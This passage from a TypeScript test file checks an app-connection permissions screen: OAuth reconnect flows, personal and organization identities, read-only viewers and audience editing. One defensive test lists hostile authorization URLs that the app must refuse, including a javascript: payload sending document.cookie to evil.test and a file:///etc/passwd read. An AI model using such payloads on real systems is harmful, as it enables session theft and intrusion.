authKind: "oauth", credentialPolicy: "per_user", createdByUserId: "user-2", healthStatus: "failed", healthMessage: "Authorization expired (invalid_grant).", })); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })], capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }), currentUserId: "user-1", members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }], }); await renderAppDetail(); expect(container.textContent).toContain("Reconnect required"); expect(container.textContent).toContain("The person this connection belongs to must reconnect it."); expect(findButton("Reconnect")).toBeUndefined(); expect(startOAuthMock).not.toHaveBeenCalled(); }); it("does not offer personal key replacement to someone other than its fixed owner", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ authKind: "api_key", credentialPolicy: "per_user", createdByUserId: "user-2", healthStatus: "failed", healthMessage: "The key was rejected.", })); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })], capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }), currentUserId: "user-1", members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }], }); await renderAppDetail(); expect(container.textContent).toContain("This app needs reconnecting"); expect(container.textContent).toContain("The person this connection belongs to must reconnect it."); expect(Array.from(container.querySelectorAll("button")).filter( (button) => button.textContent?.trim() === "Reconnect", )).toHaveLength(0); }); /** * PAP-17099 — the server refuses to hand out an unsafe authorization endpoint, * but this is the boundary where one would actually execute, so the board must * refuse it independently of what the response body says. */ it.each([ ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"], ["data:", "data:text/html,"], ["file:", "file:///etc/passwd"], ["plaintext http", "http://evil.test/authorize"], ["credentials", "https://accounts.example.test@evil.test/authorize"], ])("never navigates to a %s authorization url", async (_label, authorizationUrl) => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ authKind: "oauth", healthStatus: "failed", healthMessage: "Authorization expired (invalid_grant).", })); startOAuthMock.mockResolvedValue({ connectionId: "conn-1", provider: "generic", authorizationUrl, expiresAt: "2026-07-10T00:00:00.000Z", }); await renderAppDetail(); await act(async () => { Array.from(container.querySelectorAll("button")) .find((button) => button.textContent?.trim() === "Reconnect") ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(navigateTopLevelMock).not.toHaveBeenCalled(); expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" })); // The refusal explains itself without echoing the hostile URL back into the DOM. const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? ""); expect(body.length).toBeGreaterThan(0); expect(body).not.toContain(authorizationUrl); }); // ------------------------------------------------------------------------- // Personal connection identity (PAP-17835). These cover the permission // matrix in the accepted design: a member self-serving, manager oversight, // a read-only viewer, and the audience editor's two scopes. // ------------------------------------------------------------------------- function perUserConnection(overrides: Record = {}) { return connection({ credentialPolicy: "per_user", authKind: "oauth", ...overrides }); } function findButton(label: string) { return Array.from(container.querySelectorAll("button")) .find((button) => button.textContent?.trim() === label); } it("keeps the app header concise on every tab", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(perUserConnection()); await renderAppDetail(); expect(container.textContent).toContain("Connected"); expect(container.textContent).not.toContain("This connection is for one person."); expect(container.textContent).not.toContain("Connected by"); }); it("lets a regular member connect their own identity and never someone else's", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(perUserConnection()); startPersonalAuthorizationMock.mockResolvedValue({ url: "https://accounts.example.test/authorize" }); await renderAppDetail(); // Missing personal identity is explicit, never a silent fallback. expect(container.textContent).toContain("Which humans can use this credential?"); expect(container.textContent).toContain("Only you can use this connection"); expect(container.textContent).toContain("Personal account"); expect(container.textContent).toContain("Not connected"); expect(container.textContent).not.toContain("Organization identity"); expect(findButton("Connect organization identity")).toBeUndefined(); await act(async () => { findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); // The subject is the signed-in user, so there is no path here to start // consent on a coworker's behalf. expect(startPersonalAuthorizationMock).toHaveBeenCalledWith("company-1", "conn-1", { subjectUserId: "user-1", returnTo: "/apps/conn-1/permissions", }); expect(navigateTopLevelMock).toHaveBeenCalledWith("https://accounts.example.test/authorize"); }); it("keeps personal managed authorization in the tenant until the provider is ready", async () => { const session = "personal_background_session_1234"; const request = vi.spyOn(globalThis, "fetch").mockResolvedValue(Response.json({ authorizationUrl: "https://provider.example.test/authorize?state=personal", })); mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(perUserConnection()); startPersonalAuthorizationMock.mockResolvedValue({ url: "https://my.paperclip.app/connections/confirm?session=legacy", handoff: { kind: "paperclip_cloud", session }, }); await renderAppDetail(); await act(async () => { findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(request).toHaveBeenCalledWith("/cloud/connections/handoff", expect.objectContaining({ method: "POST", body: JSON.stringify({ session }), })); await vi.waitFor(() => { expect(navigateTopLevelMock).toHaveBeenCalledWith( "https://provider.example.test/authorize?state=personal", ); }); expect(navigateTopLevelMock).not.toHaveBeenCalledWith(expect.stringContaining("/connections/confirm")); }); it("keeps a viewer read-only across identities and installs", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ credentialPolicy: "shared" })); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [organizationGrant({ capabilities: { canRevoke: false, canEditAudience: false } })], capabilities: { canConfigure: false, canCreateOrganizationGrant: false, canSetCompanyInstall: false, canConnectAsCurrentUser: false, canManageAgentInstalls: false, canViewOtherPersonalIdentities: false, editableAgentIds: [], }, currentUserId: "viewer-1", members: [], }); await renderAppDetail(); expect(container.textContent).toContain("Anyone in your company can use this connection"); // State stays legible... expect(container.textContent).toContain("Anyone in your company can use this connection"); expect(container.textContent).not.toContain("Personal account"); // ...and every mutation control is absent rather than disabled. expect(findButton("Connect as me")).toBeUndefined(); expect(findButton("Manage access")).toBeUndefined(); expect(findButton("Revoke")).toBeUndefined(); expect(findButton("Connect organization identity")).toBeUndefined(); }); it("shows one fixed personal identity without an organization switch", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(perUserConnection({ createdByUserId: "user-2" })); revokeConnectionGrantMock.mockResolvedValue({ id: "grant-other", kind: "user" }); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [ organizationGrant(), personalGrant({ id: "grant-other", subjectUserId: "user-2" }), ], capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }), currentUserId: "user-1", members: [ { userId: "user-1", name: "Dotta", email: "dotta@example.com" }, { userId: "user-2", name: "Carol", email: "carol@example.com" }, ], }); await renderAppDetail(); expect(container.textContent).toContain("Only you can use this connection"); expect(container.textContent).toContain("Carol"); expect(container.textContent).not.toContain("Organization identity"); expect(container.textContent).not.toContain("Other personal identities"); expect(findButton("Connect organization identity")).toBeUndefined(); expect(findButton("Agents")).toBeUndefined(); expect(findButton("Reconnect")).toBeUndefined(); expect(findButton("Revoke")).toBeUndefined(); }); it("shows dedicated GitHub access as compact action rows and links to the agent", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ credentialPolicy: "per_agent", authKind: "oauth", })); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [organizationGrant({ id: "grant-agent", kind: "agent", subjectAgentId: "agent-1", subjectUserId: null, isDefault: false, providerTenant: { github: { userId: "123", login: "dottabot", installationCount: 1, repositoryCount: 1, repositorySelection: "selected", installationIds: ["456"], installationOwnerLogins: ["paperclipai"], managementUrl: "https://github.com/settings/installations/456", webhookHealth: "pending", lastWebhookAt: null, lastAccessRefreshAt: "2026-09-05T12:00:00.000Z", }, }, })], capabilities: fullCapabilities(), currentUserId: "user-1", members: [], }); await renderAppDetail(); expect(container.querySelector('a[href="/agents/agent-1"]')?.textContent).toContain("Used only by Coder"); expect(container.textContent).toContain("Repositories"); expect(container.textContent).toContain("1 selected repositories"); expect(container.querySelector( 'a[href="https://github.com/settings/installations/456"]', )?.textContent).toBe("Manage repositories on GitHub"); expect(findButton("Refresh access")).toBeTruthy(); expect(container.textContent).not.toContain("Installation"); expect(container.textContent).not.toContain("Token continuity"); expect(container.textContent).not.toContain("Webhook health"); expect(container.textContent).not.toContain("Last event"); expect(container.textContent).not.toContain("Last access refresh"); }); it("persists an empty audience as all organization members", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" })); replaceConnectionGrantMembersMock.mockResolvedValue(organizationGrant({ members: [] })); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [organizationGrant({ members: [{ id: "m-1", companyId: "company-1", grantId: "grant-org", subjectType: "user", subjectId: "user-2", createdAt: new Date() }], })], capabilities: fullCapabilities(), currentUserId: "user-1", members: [ { userId: "user-1", name: "Dotta", email: "dotta@example.com" }, { userId: "user-2", name: "Carol", email: "carol@example.com" }, ], }); await renderAppDetail(); expect(container.textContent).toContain("Anyone in your company can use this connection"); await act(async () => { findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); await act(async () => { Array.from(document.body.querySelectorAll('[role="radio"]')) .find((option) => option.textContent?.includes("All organization members")) ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); await act(async () => { Array.from(document.body.querySelectorAll("button")) .find((button) => button.textContent?.trim() === "Save audience") ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); // "All members" is the empty set on the wire; the UI never says "empty". expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", []); }); it("persists a selected audience and keeps the dialog open when the server refuses", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" })); replaceConnectionGrantMembersMock.mockRejectedValue( new Error("Every audience member must be an active company member"), ); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [organizationGrant({ members: [] })], capabilities: fullCapabilities(), currentUserId: "user-1", members: [ { userId: "user-1", name: "Dotta", email: "dotta@example.com" }, { userId: "user-2", name: "Carol", email: "carol@example.com" }, ], }); await renderAppDetail(); await act(async () => { findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); await act(async () => { Array.from(document.body.querySelectorAll('[role="radio"]')) .find((option) => option.textContent?.includes("Selected members")) ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); await act(async () => { Array.from(document.body.querySelectorAll("button")) .find((button) => button.textContent?.includes("Choose people")) ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); await act(async () => { document.body.querySelector('[aria-label="Allow Carol"]') ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); await act(async () => { Array.from(document.body.querySelectorAll("button")) .find((button) => button.textContent?.trim() === "Save audience") ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", ["user-2"]); // A denial keeps the dialog open with the selection intact and explains // itself inline, rather than dropping the work into a toast. const dialogText = document.body.textContent ?? ""; expect(dialogText).toContain("Who can use this identity"); expect(dialogText).toContain("Every audience member must be an active company member"); }); });